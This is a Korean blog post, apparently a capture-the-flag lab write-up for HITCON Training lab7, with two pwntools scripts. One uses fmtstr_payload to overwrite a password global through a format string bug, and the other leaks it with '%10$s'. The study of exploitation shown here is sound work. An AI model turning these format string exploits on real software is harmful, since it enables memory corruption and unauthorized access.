티스토리 뷰
pwntools에 fmtstr_payload라는게 있다. 코드를 보면서 이해해보자.
Hitcon training lab7이다.
from pwn import *
s = process("./crack")
password = 0x0804a048 #password 라는 전역변수의 주소를 알아옴
fm_len = 10 # fsb에서 offset
s.recvuntil("? ")
payload = fmtstr_payload(fm_len, {password:100}) # fm_len(10)위치의 오프셋에서 {address:value} 이렇게 값을 지정하면 쓰르륵.
s.sendline(payload)
s.recvuntil(":")
s.sendline('100')
s.interactive()
#####################################################
저 툴을 쓰지 않고 하는 코드이다.
from pwn import *
s = process("./crack")
password = 0x804a048 #마찬가지로 password전역변수의 주소
s.recvuntil("?")
s.sendline(p32(password) +"k"+ "%10$s") # 첫 buf 4바이트에 이 주소를 적어주고 %10$s 로 이 포인터 안에 값을 leak할 수 있음
s.recvuntil("k") "적어논 k를 기준으로 recv해서 파싱해준다.
password=u32(s.recv(4)) #random 한 password 값 leak
print(hex(password))
s.recvuntil(":")
s.send(str(password)) #atoi 해주기 때 문에 str로 보내주면 됌.
s.interactive()
'pwnable > 정리' 카테고리의 다른 글
heap2.c (0) | 2018.07.25 |
---|---|
fist fit, malloc, free (0) | 2018.07.25 |
objdump 자주 쓰는거, nm (0) | 2018.07.13 |
pwntools ssh 연결 한 다음 process실행 (0) | 2018.07.12 |
pwntools ssh연결 후 nc 연결 (0) | 2018.07.12 |
- codegate
- shellcoding
- srop
- 본선가고싶다
- fsop
- tcache
- fastbin
- oob
- pwnable
- pwnable.tw
- TLS
- glibc
- overflow
- rt_sigreturn
- 해킹
- stack reusing
- HackCTF
- ebp change
- hacking
- heap
- FSB
- exit
- fastbindup
- pwable
- SQLi
- Total
- Today
- Yesterday